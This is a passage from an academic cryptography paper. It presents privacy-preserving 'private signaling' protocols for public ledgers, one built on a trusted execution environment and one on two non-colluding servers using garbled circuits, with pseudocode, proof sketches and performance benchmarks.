(resp., Srv2) holds a table T1 (resp., T2) of strings that look
random to Srv1(resp., Srv2), but such that T1⊕T2 = T.

Say a sender S posted a message m intended for R on the
board that appears in location loc. To prepare a signal for
R concerning location loc the sender will perform a simple
operation. It will secret-share the input R, loc into random two
shares R(1),R(2) and loc(1), loc(2) such that R = R(1)⊕R(2)

and loc = loc(1)⊕ loc(2).
Next, servers Srv1,Srv2 will update their tables by run-

ning a secure computation protocol (e.g., Yao’s garbled
circuits [7, 33]), participating with their own secret input
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R(1), loc(1),T1 (resp., R(2), loc(2),T2). The function being
computed performs the following three elementary operations.
(1) Reconstruct R and loc by xoring the shares. (2) Update
the R-th row of the table to add loc to the first available index.
(3) Re-randomize every other row. Note that, at the end of the
secure computation of this function, each server receives a
fresh share of the updated table, thus leaking no information
about which row and column was actually updated.

When a recipient Ri wishes to retrieve their signals, it will
send i (in an authenticating manner) to both servers and re-
ceive T1[i],T2[i] from which it can recover the locations by
just performing xor. Upon each retrieve, the recipient’s row is
flushed.

Our protocol provides full privacy due to the following
features: at any point, each server only owns only one share
of the signals and the table of signals, and upon each update,
the server obtains a re-randomization of the entire table, per-
formed with fresh randomness that is sampled by both servers,
which leaks no information about the row that was actually
updated. We provide formal proofs of this work in the full
version [20] In our proof, servers can collude with recipients
and sender but (of course) cannot collude with each other.
For this protocol, our proofs are in the semi-honest setting.
Finally, we note that we can extend this idea to a multi-server
setting, where say n servers participate in an MPC to process
a signal and update the shares of the table of signals.

The tradeoff here would be that sender will need to share the
location and recipient index among n servers, and the recipient
would need to recombine the shares received from n servers,
but on the positive side, one can have weaker assumptions on
the trust and non-collusion between the servers.

4 Preliminaries

Notation Let λ be the security parameter, poly(·) be a poly-
nomial function and let negl(λ) be a negligible function. M
denotes the total number of recipients.

Public Board: Gledger. We assume that all parties have read
and write access to a public board, which we abstract via a
public ledger ideal functionality Gledger functionality intro-
duced in [3]. Gledger maintains a global variable called state

and parties can read from and write to this global state through
the commands READ and SUBMIT. An abridged version of
Gledger is presented in the App A.4, Fig. 18.

In this section we present the crucial definitions and secu-
rity guarantees of the primitives used in our protocols. We
present the rest of the primitives more formally in App A.

Trusted Execution Environment: Gatt. The TEE is modeled
as a single, globally-shared ideal functionality that is denoted
as Gatt following the definition of [24]. The Gatt functionality
is depicted in Fig. 4 There are two types of invocations to the
trusted hardware - installation, that allows to install a software

Gatt[Σ, reg]

//initialization
On initialize: (mpk,msk) :=
Σ.KeyGen(1λ),(epk,esk) := Enc.KeyGen(1λ),T =
/0

// public query interface:
On receive* getpk() respond with (mpk,epk)

Enclave operations

//local interface – install an enclave:
On receive* install(idx,Prog) from some
P ∈ reg:
• if P is honest, assert idx = sid
• generate nonce eid ∈ {0,1}λ, store

T [eid,P ] := (idx,Prog,⃗0), send eid to P .
//local interface – resume an enclave:
On receive* resume(eid, inp) from some P ∈
reg:
• let (idx,Prog,mem) := T (eid,P ), abort if

not found
• let (outp,mem) := Prog(inp,mem), up-

date T [eid,P ] := (idx,Prog,mem)
• let σ := Σ.Sigmsk(idx,eid,Prog,outp) and

send (outp,σ) to P .

Figure 4: Global functionality modeling SGX-like secure
processor [24]

and a stateful resume, that allows to execute it on an input.
More details are provided in App A.3.

Garbled Circuits A garbling scheme G (described in
App. A.2) consists of five polynomial time algorithms
(Garble,Encode,Eval,Decode,evaluate). Garble takes as in-
put a function f and returns a garbled circuit F , encoding
information e, and decoding information d. Encode takes
e and an input x, and returns a garbled input X . Eval takes
in the garbled circuit F and X , and returns a garbled output
Y . Decode takes in the decoding information d and Y , and
returns the plaintext output y = f (x).

Oblivious Transfer In the oblivious transfer functionality
(formally defined in App A.1, Fig 16), sender S has a pair of
input strings s0 and s1 and a receiver R has a choice bit b. R
learns only sb while S learns nothing.
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5 UC-Definition of Private Signaling

We define the problem of private signaling in the UC-
framework [9]. In this framework, the security properties
expected by a system are defined through the description of an
ideal functionality. The ideal functionality is an ideal trusted
party that performs the task expected by the system in a trust-
worthy manner. When devising an ideal functionality, one
describes the ideal properties that the system should achieve,
as well as the information that the system will inherently leak.

For the task of private signaling, we want to capture two
properties: correctness and privacy. Correctness means that a
recipient Ri should be able to learn all signals that are intended
for them. Privacy means that by looking at the messages
exchanged in the protocol no one except Ri (and the senders
of the signals) should distinguish which signals are directed
to Ri. Furthermore, we want to capture the following inherent
leakage. First, an observer of the system can always learn
that a signal was posted for “someone” (for instance, just by
observing the board). Second, a protocol participant can learn
that a certain recipient is trying to retrieve their own signals
(for instance, in the serverless case, this can be detected by
observing that a node is downloading a big chunk of the board,
or in the server-aided case, it is just possible to observe that
Ri connected to the server).

Functionality FprivSignal

The functionality maintains a table denoted T indexed
by recipient R j, that contains information on the loca-
tions of signals for the corresponding recipient.
Sending a signal (SEND): Upon receiving
(SEND,R j, loc) from a sender Si, send (SEND,Si) to
the adversary. Upon receiving (SEND,ok) from the
adversary, append loc to T[R j].
Retrieving signals (RECEIVE): Upon receiving
(RECEIVE) from some R j, send (RECEIVE,R j) to the
adversary. Upon receiving (RECEIVE,ok) from the
adversary, send (RECEIVE,T[R j]) to the recipient R j
and update T[R j] = []

Figure 5: Private Signaling functionality

Private Signaling Ideal Functionality The functional-
ity FprivSignal provides the following interface - SEND and
RECEIVE. The ideal functionality allows parties to send sig-
nals to a receiver, that informs that there exists a message
at a particular location of the board maintained by an ideal
ledger functionality Gledger . To add a signal for a recipient
R j, a sender sends SEND command with the pair (R j, loc) to
the ideal functionality. The latter will store this information
for Ri in a table denoted T, and will send to the adversary
this information that a signal has been posted. This leakage

captures the fact that in real life it is easy for an observer to
detect that some sender is trying to send a message to some
recipient. However this is the only information that anyone
(except the sender, of course) will ever learn.

A recipient R j can later query the ideal functionality to
retrieve the signals that were sent to them. This is done using
the RECEIVE command. This command also instructs the
functionality to flush the row T[R j]. The ideal functionality
will return the list to R j and will inform the adversary that R j
has downloaded its private list of signals. Again, this captures
the fact that in a real-world system a global observer can detect
the fact that a certain device is trying to retrieve their signals
(e.g., by observing the traffic). Since the only information
leaked to the adversary is that a sender has posted a signal
and that a recipient has retrieved its signals we capture the
privacy requirement of private signaling.

Corruption model We consider two settings. In protocol
ΠTEE(Section 6) we consider a single-server with a TEE. Here
we assume that the server can be malicious but the TEE is
trusted. In protocol ΠGC (Section 7) we consider two-servers
that do not collude. Furthermore, we allow any collusion
between recipients and servers and prove that we achieve
only privacy against malicious adversaries.

Communication model In our protocols we do not allow
any out-of-band communication between the senders and the
recipients. All entities have access to a global ledger function-
ality - Gledger. We assume that recipients have direct channels
with the Srv(s). We show in Section 8 that our protocols can
be extended such that there are multiple instances of these
servers that serve different recipients.

6 Private Signaling Protocol with TEE (ΠTEE)

Gatt Secure processor functionality Figure 4
L⃗i Encrypted locations for Ri

ctkeys Encryption of encryption key and
verification key

indexi Next available index in L⃗i
ctri Counter to prevent replayability of signatures

ctSignal Encryption of loc
ctloc Encrypted locations returned on RECEIVE

mpk,msk Attestation keys of Gatt functionality
epk,esk Encryption keys of Gatt

Table 2: Notations for ΠTEE

The protocol ΠTEE assumes as hybrids a TEE functionality
- Gatt (defined in Sec 4). This TEE runs a program Prog that is
defined in Fig 6. We only present Prog here. Gatt attests (see
Figure 4) to any computation that is done inside the processor
and outputs a signed message to the server. As described
in Figure 4 the Gatt functionality generates a signing key
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and an encryption key, and any entity can securely query
the functionality to get the signing verification key and the
encryption public key.

The TEE maintains a vector L⃗ for each recipient. Each re-
cipient Ri registers with the Gatt functionality by sending it a
“setup” command through the server where it communicates
its public key and verification key to the Gatt functionality.
The program then initializes a vector L⃗i with all zeros corre-
sponding to this recipient.

To send a signal to a recipient Ri, the sender encrypts the
public key of the recipient along with the location of the mes-
sage - (pki, loc), under the public key of the processor epkand
submits this as a transaction to the Gledger functionality. The
Srv sends a READ command to the Gledger functionality and
retrieves the signals. To process these signals, the Srv inputs
(“send”,ctSignal) to the TEE. The TEE decrypts ctSignal to
get the public key pki of the recipient and location loc. The
vector L⃗i for recipient Ri is updated with the loc and all other
indices of L⃗i and all other L⃗ j for j ̸= i are rewritten so that a
malicious server that may observe memory access patterns
cannot trivially learn the recipient of the signal.

On input* (“setup”,ctkeys)
Compute (pk,Σ.vk) = Dec(esk,ctkeys).
Compute L⃗ = {0}ℓj=0
Set index= 0 and ctr = 0
Initialize T [pk] = (⃗L,Σ.vk, index,ctr)
return pk

On input* (“send”,ctSignal)
[msg[0],msg[1]] ← Dec(esk,ctSignal) and
msg[0] = pk
Read T [pk] = (⃗L,Σ.vk, index,ctr)
Update index= (index+1) mod ℓ,
Update L⃗[index] =msg[1]
Rewrite L⃗[ j] for j ̸= index
Rewrite T [i] for all i ̸= pk

On input* (“receive”,(ctr′,σ))
Read T [pk] = (⃗L,Σ.vk, index,ctr)
if Σ.Ver(Σ.vk,ctr′,σ) = 1 and ctr = ctr′ then

Let (loc1 . . . locℓ) = L⃗
Compute c⃗tloc = Encpk(loc1), . . . , Encpk(locℓ)

Update ctr= ctr+1, index= 0 and L⃗= {0}ℓj=0
return (c⃗tloc)

else
return ⊥

Figure 6: Program Prog[ℓ] run by Gatt

To receive its list of signals, a recipient Ri sends a signature
along with a counter value denoted ctr. The TEE authenticates
the recipient and checks that the counter value matches with

the internally stored counter value of the recipient.

Enclave setup
1. Srv: Run Gatt.install(Prog[ℓ]) to get eid.
Registration
Recipient Ri:
1. Let (mpk,epk) := Gatt.getpk()
2. Compute (pki,ski) ← Enc.KeyGen(1λ),

(Σ.ski,Σ.vki)← Σ.KeyGen(1λ).
3. Set ctkeys,i = Enc(epk,(pki,Σ.vki)) and send

(“setup”,ctkeys,i) to Srv.
4. Await ((eid,pki),σT ) from Srv.
5. Assert Σ.Vermpk((eid,pki),σT ) = 1 and publish

pki. Initialize ctri = 0.
Srv:
1. Upon receiving (“setup”,ctkeys,i) from Ri, let

((pki),σT ) = Gatt.resume(eid,(“setup”,ctkeys,i).
Send ((eid,pki),σT ) to Ri.

Procedure (SEND,Ri, loc)
1. Sender S gets (mpk,epk) := Gatt.getpk() and

computes ctSignal = Enc(epk, [pki, loc]) and sends
(SUBMIT,(SEND,ctSignal)) to Gledger.

2. Srv: Send READ to Gledger and
upon receiving (SEND,ctSignal): Call
Gatt.resume(eid,(“send”,ctSignal)).

Procedure RECEIVE
Recipient Ri:
1. Compute σi = Sig(Σ.ski,ctri) and

send (RECEIVE,ctri,σi) to Srv. Await
((eid, c⃗tloc,i),σT ) from Srv

2. Assert Σ.Vermpk((eid, c⃗tloc,i),σT ) = 1
3. Initialize locns= [], j = 0

while (loc j = Dec(ski, c⃗tloc[ j])) ̸= 0 do
locns.add(loc j)
j = j+1

ctri = ctri +1
return locns.

Srv:
1. Upon receiving (RECEIVE,ctri,σi)

from Ri, let ((eid, c⃗tloc,i),σT ) =
Gatt.resume(eid,(“receive”,ctri,σi)).

2. Send ((eid, c⃗tloc,i),σT ) to Ri

Figure 7: The protocol for private signaling in the Gatt hybrid
world

If valid, the TEE returns encrypts the vector L⃗i under the
public key of the recipient Ri and resets the vector L⃗ to a vector
of all zeros and returns the list of encryptions. The recipient
decrypts each ciphertext until it decrypts to a zero which
indicates that the recipient has received all the messages. The
server does the checks to ensure that every request to the
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TEE is fresh and prevents a replay attack where a malicious
server can simply send a previously received signature. This
prevents the TEE from resetting the vector L⃗ that corresponds
to an honest user.

Theorem 1. Assume that the signature scheme Σ is exis-
tentially unforgeable under chosen message attacks, the en-
cryption scheme Enc is CPA secure. Then the protocol ΠTEE

in the (Gatt, Gledger)-hybrid world UC-realizes the FprivSignal

functionality.

Proof. (Sketch) To prove UC-security, we need to show that
there exists a PPT simulator interacting with FprivSignal that
generates a transcript that is indistinguishable from the tran-
script generated in the real world where the adversary inter-
acts with (Gatt, Gledger) ideal functionalities. The simulator
internally simulates the Gatt and the Gledger functionalities to
the adversary. We consider two cases of corruption here and
in both cases we need to show that the simulator can simu-
late without learning the locations of honest recipients. We
briefly describe the main idea in the simulation of the above
mentioned corruption cases:
• Sender and server are corrupt: The simulator receives a
(“send”,ctSignal) command via the Gatt interface from the
adversary. The simulator decrypts ctSignal using the secret
key of the simulated TEE functionality esk and learns the
recipient (Ri) and the location (loc). The simulator sends
(SEND,Ri, loc) to the FprivSignal ideal functionality on behalf
of the adversary.

• Receiver and server are corrupt: The simulator receives
a (“receive”,ctr,σ) command via the Gatt interface from
the adversary. The simulator verifies the signature σ and
sends RECEIVE to the FprivSignal functionality on behalf of
the adversary. The simulator receives a vector of locations
that correspond to the adversary. The simulator encrypts
these locations under the public key of the receiver and
returns the vector of encryptions.
We defer the proofs to the full version of the paper [20].

7 Private Signaling with Two Servers ΠGC

ΠGC is run among two servers Srv1,Srv2. Each Srvi for i =
1,2 maintains a table (denoted by T(i)) that stores information
on the signals. The tables are M× ℓ matrices where each row
is associated with a recipient and ℓ is the maximum number
of signals that can be received by each recipient. The vector[
(T(1)[R][1]⊕T(2)[R][1]), . . . ,(T(1)[R][ℓ]⊕T(2)[R][ℓ])

]
repre-

sents a vector of locations that have been signaled by senders
to recipient R. The servers also maintain another table denoted
L(i), such that L(1)[R]⊕L(2)[R] stores the next available index
for recipient R. Our protocol uses: the ideal oblivious transfer
functionality Fot, garbled circuits and EUF-CMA signatures
(defined in Section 4 and Appendix A).
Registering with the servers: Each recipient Ri registers with
the two servers by sending shares of vector of ℓ+ 1 zeros.

T(i) Table (M× ℓ) of locations
maintained by Srvi

L(i) Table of available indices denoted index

R(i) Share of R received by Srvi

loc(i) Share of loc received by Srvi

r1
(i, j),r

2
(i, j) Randomness used for both T(1)[i][ j]

and T(2)[i][ j]
r1
(i),r

2
(i) Randomness used for both L(1)[i]

and L(2)[i]

Table 3: Notations for ΠGC

This is achieved by sending r0 . . .rℓ to both the servers. The
servers add a row to T(a) and L(a) - T(a)[R] = [r1 . . .rℓ] and
L(a)[R] = r0. The recipient Ri also sets a counter denoted ctri.
The ctri is updated each time, the recipient invokes a RECEIVE
command. The ctri along with the vectors are signed by the
recipient and sent to the servers. We will describe the use of
ctri later.
Sending a signal: The sender (denoted S) sending a sig-
nal to recipient R that a message exists for them at lo-
cation loc does the following: Create shares of pkR =

pk
(1)
R ⊕pk

(2)
R and loc= loc(1)⊕ loc(2) and compute ctSignal,a =

Enc(pka,(pk
(1)
R , loc(a))) where pka is the public key of Srva.

The sender then submits these encryptions as transactions to
the Gledger functionality. The servers periodically send READ

commands to Gledger to learn the signals. They then decrypt
the ctSignal,a to receive (pk

(1)
R , loc(a)). Since we assume that

the servers do not collude, they do not learn any information
about the recipient and the location. The two servers now run
a 2PC Protocol processSignal that updates the tables accord-
ing to the UpdateTable function. This function updates the
tables maintained by the two servers in the following way: for
the next available index (retrieved from the shares stored in
tables L(1) and L(2)) for receiver R store re-randomizations
of the received shares and for every other index re-randomize
the original shares. Since every index is updated, at the end
of the protocol the two servers do not know which index was
updated with the location, therefore hiding both the recipient’s
identity and the location of the signal. The UpdateTable also
updates the tables L(1) and L(2) such that for receiver R, the
tables store shares of an incremented index and for all other
parties the shares are simply rerandomized.
Receiving a signal: To receive their vector of signals, the re-
cipient sends a RECEIVE request to the two servers. This
request includes a signature on freshly sampled random val-
ues that serve as new shares for the corresponding row on the
table. Upon successful authentication, the servers send the cor-
responding table row to the receiver, who simply recombines
the shares to receive their signals.

Theorem 2. The protocol ΠGC UC-realizes the FprivSignal
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Setup
Srva, for a ∈ {1,2}:
1. Generate encryption keys (pka,ska) ←

KeyGen(1λ) and publish pka
Recipient Ri:
1. (Σ.ski,Σ.vki)← Σ.KeyGen(1λ) and publish Σ.vki.
2. Sample ri←$ {0,1}λ for i ∈ [0, ℓ].
3. Initialize ctri = 0.
4. Compute σi = Σ.Sig(Σ.ski,((r0 . . . ,rℓ),ctri))
5. Send (Setup,(r0 . . . ,rℓ),ctri),σi) to Srvi.
Srva, for a ∈ {1,2}:
Upon receiving (Setup,((r0 . . . ,rℓ),ctri),σi) from
Ri:
1. If Σ.Ver(Σ.vki,(r0 . . . ,rℓ),ctri),σi) ̸= 1, ignore.
2. Else store ctri and set T(a)[Ri] = (r1, . . . ,rℓ) and

L(a)[Ri] = r0.
Procedure (SEND,R, loc)
Sender S:
1. Compute R(1) and R(2) s.t. R = R(1)⊕R(2).
2. Compute loc(1) and loc(2) s.t. loc= loc(1)⊕ loc(2)

3. Compute ctSignal,a = Enc(pka,Signala), where
Signala = (R(a), loc(a)) for a ∈ {1,2}

4. Send (SUBMIT,(SEND,ctSignal,1,ctSignal,2) to
Gledger.

Srva for a ∈ {1,2}:
1. Participate in protocol processSignal and update

(T(1),L(1)) and (T(2) L(2)) respectively.
Procedure RECEIVE
Recipient Ri:
1. Sample ri←$ {0,1}λ for i ∈ [0, ℓ].
2. Compute σi = Σ.Sig(Σ.ski,(r0, . . . ,rℓ,a,ctri)) for

a ∈ {1,2}.
3. Send (vki,(r0, . . . ,rℓ,a,ctri),σi) to Srva
4. Receive T(a)[Ri] from Srva
5. Compute T(1)[R][ j]⊕T(2)[R][ j] until T(1)[R][ j]⊕

T(2)[R][ j] = 0.
6. Update ctri = ctri +1
Srva:
1. Check if Σ.Ver(Σ.vki,(ctr

′,(r0, . . . ,rℓ)),σi) = 1
and ctr′ = ctri. Ignore if false.

2. Else send T(a)[R] to R.
3. Update ctri = ctri +1

Figure 8: Private signaling protocol with 2 servers

functionality in the Fot-hybrid model assuming secure gar-
bled circuits (Definition 1) and existential-unforgeable signa-
ture schemes.

Proof. (Sketch) To prove UC-security we need to show that
there exists a PPT simulator interacting with FprivSignal that
generates a transcript that is indistinguishable from the real

Protocol processSignal
Srva (where a ∈ {1,2}) upon sending READ to Gledger

and receiving ctSignal,a. Decrypt to get Signala.
1. Parse Signala = (R(a), loc(a))

2. Sample r(a)(i) ←{0,1}
λ for i ∈ [1,M], j ∈ [1, ℓ].

3. (As garbler of GC) Compute
Garble(1λ(UpdateTable)) → (F,e,d), where
F is the garbled circuit, and e encodes both
possible bits of |T(·)|, |loc(·)|, |R(1)|, |R(2)|, |L(1)|
, |L(2)|, |r(a)(i, j)| for i ∈ [1,M], j ∈ [1, ℓ],a ∈ {1,2}

and |r(a)(i) | for i ∈ [1,M],a ∈ {1,2}
4. Send (OT-SEND,(s0,s1)) to Fot, for

each pair of encoded keys of bits in
|T(·)|, |loc(·)|, |R(·)|, |L(·)|, |r(i, j)| for i ∈ [1,M], j ∈
[1, ℓ], |r(i)| for i ∈ [1,M]

5. Send (F,d) to the other server , where F in-
cludes the keys for its own inputs, i.e. r(i, j) for
i ∈ [1,M], j ∈ [1, ℓ], loc(a), R(a).

Srva, upon receiving (F,d) from the other server:
1. (As evaluator of GC) Upon receiving OT-SEND

from Fot, send (OT-RECEIVE,b) to Fot for each
bit b in T(a), loc(a),R(a),L(a),r(a)(i) for i∈ [1,M], j∈
[1, ℓ] and denote these strings as Xa

2. Compute Eval(F,(Xa)) to get Y
3. Compute Decode(d,Y ) to get a new T(a) and L(a)

Figure 9: GC protocol to update two tables

world where the adversary interacts with the Fot ideal func-
tionality that is internally simulated by the simulator. We
consider two cases of corruption:
• Sender and Srv1 are corrupt: The simulator simulates Srv2

and will receive shares R(2) and loc(2) from the corrupt
sender. It learns exact bits of loc(1) and R(1) via the Fot

functionality. The simulator computes R = R(1)⊕R2 and
loc = loc(1)⊕ loc(2) and sends (SEND,R, loc) to FprivSignal

on behalf of the corrupt sender.
• Receiver and Srv1 are corrupt: When a corrupt Ri request

its row, it must request both Srv1 and Srv2. The simulator
then sends the RECEIVE command to the FprivSignal ideal
functionality on behalf of the corrupt Ri and then learns
the locations that Ri would receive. Since the two servers
maintain shares of 0, simply ⊕-ing R’s row in T(2) with the
locations it received from the functionality gives the corrupt
recipient its locations.
We defer the proofs to the full version of the paper [20].
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The UpdateTable function
Input: T(1), L(1), loc(1), R(1), R(2),
{r1

(i, j)}[i∈[1,M], j∈[1,ℓ]], {r(2)(i, j)}[i∈[1,M], j∈[1,ℓ]],

{r(1)(i) }i∈[1,M] and {r(2)(i) }i∈[1,M]

Output: Updated T(1),L(1)

Algorithm
1: Compute R = R(1)⊕R(2)

2: Compute index= (L(1)[R]⊕L(2)[R]) mod ℓ
3: Update T(1)[R][index] = loc(1)

4: Update L(1)[R] = (index+1)
5: for i in [1,M] do
6: L(1)[i] = L(1)[i]⊕ r(1)(i) ⊕ r(2)(i)
7: for j in [1, ℓ] do
8: T(1)[i][ j] = T(1)[i][ j]⊕ r(1)(i, j)⊕ r(2)(i, j)

9: return T(1),L(1)

Figure 10: The function to update the tables T(1) and L(1).
The same algorithm updates the tables for Srv2, except in step
4: the circuit updates L(2)[R] = 0

8 Extensions

Privately Fetching the Message from Gledger. In this work
we only focus on having the recipients privately learning the
location on the ledger where a message was written for them.
The problem of privately reading a block of interest from
the board, is not the scope of this work. Luckily, however,
there exist techniques from the literature that can be used to
solve this problem. Furthermore, our protocols can be eas-
ily modified to privately fetch the message (instead of the
location).

Privately Fetching using Existing Techniques: If a client
could download the entire blockchain (ledger), privately read-
ing is easily accomplished. The client will just use the se-
cret location to read the relevant portions of the blockchain.
However, this is not suitable for clients with small stor-
age space, that are referred to as light clients. There is an
extensive literature for privacy-preserving reads for light
clients [17, 22, 25, 32] motivated by the problem of private
cryptocurrency. In all of these works, the light client asks one
(or more) powerful server(s) to learn its balance and other rel-
evant information. To preserve the privacy of the light client,
Qin et al. apply private information retrieval [25], Wüst et
al. [32] employ TEEs, while Le et al. [17] use Oblivious RAM
techniques. Crucially, the underlying assumptions of all such
works is that the light clients (the recipient in our setting)
already know the location of the blockchain that they wish
to fetch. Privately communicating this location (without out-
of-band communication, without the recipient being aware

of the existence of the server) is what our protocols offers.
Hence, our problem and techniques are complementary to the
problem of light clients, and can be used in addition to the
systems proposed in [17, 22, 32] so that a recipient privately
learns these addresses (without having to communicate with
the sender).

Modifying Private Signaling into Private Signaling &
Fetching: Our current ΠTEE and ΠGC protocols can be mod-
ified to achieve a private READ functionality. The idea is to
have the signal directly carry the message. Assuming that the
messages are of fixed size, we modify the signal as follow. In
ΠTEE the sender encrypts the message under the public key
of the TEE and in ΠGC the sender creates two shares of the
message and encrypts one share under the public key of one
server, for both servers.

Supporting Multiple Servers As presented, our protocols
assume that there is only one server (or a pair of servers) serv-
ing all the parties. In practice, there could exist several servers
that offer the same service. To this end, we describe how
our protocols can be extended so that they support multiple
servers. First, we note that any entity (including the servers)
must not map an encrypted signal to the corresponding server.
This is necessary, otherwise we reduce the anonymity set of
each signal to be the set of recipients served by that server.
To this end, we use key-private encryptions [6]. Second, we
note that if the server processes a signal for a recipient that
it does not serve, the tables are simply re-randomized in the
GC-based protocol (in the TEE-based protocol, the TEE does
nothing) and this is oblivious to a server by design. Thus the
sender just computes an encryption of the signal as before us-
ing a key-private encryption scheme and posts it on the board.
All servers will attempt to process the signal and update their
tables. By design, the table that stores signals for the recipient
will be updated with the signal and all other tables will just
be re-randomized.

9 Implementation and Evaluation

Implementation We used Intel SGX [23] to instantiate the
Gatt functionality. RSA-OAEP [13] was used as the public key
encryption scheme since it can be modified to make it key-
private as was noted by Bellare et al. [6]. We benchmarked
our schemes on an AWS t3.medium instance. It had 4 GB
RAM and 1 core Intel(R) Xeon(R) Platinum 8259CL CPU at
2.50GHz and it was running on the Amazon Linux 2 operat-
ing system. For the garbled circuit protocol (processSignal)
we use the compiler of Ball et al. [4].3. We used AES for the
symmetric key encryption and SHA-256 for the hash func-
tions (which is used in the OT protocol [2] that realizes the
Fot functionality). All protocols are implemented in Rust.

Parameters. There are two parameters in our protocols - the

3https://github.com/GaloisInc/fancy-garbling
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Figure 11: Comparing the average time taken to process a
signal for the single-server protocols: ΠTEE(solid lines) and
ΠTEE-ext(dashed lines) by varying M from 100 to 1000 and ℓ
between 25, 50 and 75.

number of recipients M and an upper bound ℓ on the number
of signals that a recipient is expected to receive in a certain
interval of time. For instance, in a private-cryptocurrency
application, recipients might expect to receive at most ℓ= 25
private payments a week, and they will connect to the server(s)
once a week to download their vector of signals.

In our measurements (see Figures 11 and 12) we choose
to test for ℓ varying 25,50 and 75. This choice of parameters
was inspired by applications of stealth payments in cryptocur-
rencies, and was informed by the following data we have at
time of writing. The number of stealth payments [1] via Um-
bra [27] on the Ethereum blockchain was 416 transactions
over a period of 5 months, which roughly amounts to a total
(for all the recipients) of 20 private transactions per week.
On the Zcash blockchain, the number of shielded (private)
transactions between Oct 2016 to Jan 2018 was 6934 [15],
which amounts to roughly total 140 transactions per week. In
a system like Umbra, setting up ℓ= 20 and having the recipi-
ents retrieve once a week is suitable. In a more active system
such as Zcash, setting ℓ= 75 (or ℓ= 25 checking every day)
might be more suitable.

We vary the number M of recipients from 100 to 1000.
The computation complexity of the servers increases linearly
with M (although in the TEE-based construction there are
slight differences). Thus, one can simply extrapolate for any
M. Furthermore, as we explained in Section 8, our protocols
can support multiple servers that split the workload, while
not splitting the anonymity set. Hence, if multiple servers are
employed, the total number M can be split into smaller M j -
the set supported by server S j, while the anonymity set is still
M (the number of total recipients).

Evaluation
Server’s Running Time. Fig. 11 and Fig. 12 show the time

it takes for the server(s) to process one signal. This time

Figure 12: Evaluating the time taken to process signal when
the value of ℓ ∈ {25,50,75} for Protocol ΠGC and varying M
from 100 to 1000.

is a function of M and ℓ, and for both protocols this time
increases asymptotically linearly with M (for fixed values of
ℓ). Concretely, for TEE-based protocols ΠTEE and ΠTEE-ext,
the graphs show that even for M = 1000 (with ℓ= 50) it takes
less than a second to process a signal.

For our two-server protocol - ΠGC (Fig. 12), the running
time to process a signal is in the order of minutes. Though this
protocol is not very useful for applications such as anonymous
messaging where there are a lot of private messages, it may
still practical be in systems like stealth payments assuming
that the stealth transactions are distinguishable from the non-
private ones (hence the servers do not need to process every
transaction on the blockchain).

Latency for the recipients. For our protocols, we envision
a setting where the servers process signals as soon as they
are confirmed on the blockchain (in other words, our servers
work in the background constantly rather than starting to work
only after the recipients has asked to fetch its signals). This
assumption is very natural for a server-client model. When the
receiver connects to the server(s) it receives immediately ev-
ery signal fetched by the server so far, up to the latest block of
the blockchain that was processed by the servers. If the latest
block processed by the servers is indeed the latest block that
was posted to the blockchain, the recipients latency is 0. Our
measurements of TEE-based protocols ΠTEE and ΠTEE-ext in
Fig 11 shows how the running times vary as a function of M
and ℓ and this information, in combination with information
about frequency of the signals posted on the blockchain, can
be used to evaluate the latency. These values depend on the
specific application and the blockchain used. For concrete-
ness (and following the analysis of OMR [19]), if we consider
a blockchain such as Bitcoin, there are approximately 4000
transactions per block4 (500K per day), and a block is con-
firmed, roughly, every 10 minutes. Not all 4000 transactions

4https://www.blockchain.com/charts/n-payments-per-block
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Baseline ΠTEE ΠGC OMR [19] FMD [5]
Server computation NA 0.114s 146s 0.405s 0.001s

Recipient computation 0.012s 0.012s 0.001s 0.02s 2.1s
Total latency (N = 500,000) 100 min 0.012s 210 days 2.45 days 32s / 9.1hrs

Signal size NA 64 bytes 128 bytes 68 bytes 956 bytes

Table 4: Computation cost and signal size comparisons of FMD [5], OMR [19] and protocols ΠTEE and ΠGC, assuming a
recipient connect once a day. For ΠTEE, ΠGC and OMR the measurements are taken for ℓ= 50. The total number of messages N
is set as 500,000 (approximate number of transactions in a day in Bitcoin) and for ΠTEE and ΠGC, M = 500. These numbers are
take from OMR [19] and FMD [5] directly (FMD assumes a false positive rate ρ and we present latency for ρ = 2−15 and 2−5.

Figure 13: Evaluating the communication between the two
servers when running the 2PC protocol in ΠGC. We vary M
from 100 to 1000 and ℓ between 25,50 and 75.

will be private (or signals), however, combining these value
with the running times shown in Fig. 11, we see that for a num-
ber of recipients M up to 700 (and for ℓ= 50), the latency for
a recipient is 0. This is because, the time to process a signal
is 156.7ms, and hence will take about 10.44min to process all
signals (assuming 4000) in block, which is approximately the
time for a new block to be confirmed. Similarly for protocol
ΠTEE-ext (where the encryptions are not stored in the TEE,
but in the memory of the server) the overall computation time
to process a signal for M = 100 and ℓ= 50 is about 115.5ms,
and hence will take 7.7 min to process all signals which is
less than the time taken to confirm a block. Our two-server
protocol - ΠGC, the average time taken to process a signal is
in the order of minutes. Therefore this protocol would provide
an acceptable latency in all the applications where the number
of private signals in each block is limited.

Communication complexity. All signals are communicated
to the servers via a blockchain (which we model in the paper
as Gledger). For ΠTEE the size of the signal is 64 bytes and for
ΠGC it is 128 bytes. There is no communication overhead in
ΠTEE at the server since the server simply forwards the signal
to the TEE, whereas in ΠGC the two servers need to run a 2PC
protocol and scales with both M and ℓ. As can be seen from

Fig 13 Finally, for a RECEIVE command, the communication
is an authentication from the recipient and the corresponding
row from the servers. In ΠTEE this authentication is 512 bytes
and the server returns ℓ encryptions, each of size 512 bytes.
In ΠGC the recipient sends an authenticating message of size
512 bytes and receives two vectors of size ℓ from each server.

Optimizations. To improve the performance of ΠGC we
modify the UpdateTable function to process K signals in the
same GC protocol. We observe that after a point K = 20 (see
Figure 15), there is no significant improvement in the normal-
ized time taken to process a signal. In Figure 14 we observe
that for K = 5 and K = 10 the overall computation improved
by 2.33× and 3.95× respectively. This gain in overall pro-
cessing time can be attributed to lesser number of garbled
tables that need to be computed and communicated.

Figure 14: Evaluating the improvement in computation time
to protocol ΠGC when signals are batched in groups of 5 and
10. We vary the number of recipients from 1 to 100 here.

Availability. The source code of our implementations of
our protocols can be found at https://github.com/
anon-submission-1100/pps.

Comparison with related work and baseline. We com-
pare our protocols with the most related work FMD [5] and
OMR [19] (discussed in Sec. 2.2) and with the baseline “naive”
solution 5 in Table 4. Recall that in our approach the running

5The baseline naive protocol is the one where a recipient simply attempts
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Figure 15: Effect of batching fixing ℓ= 25 and M = 10

time per signal depends on parameters M and ℓ, and recall that
we assume that the servers continuously process signals (re-
gardless of whether the recipients is retrieving or not) as they
appear on the ledger. In contrast, in OMR [19], the running
time per signal depends on N (the total number of signals
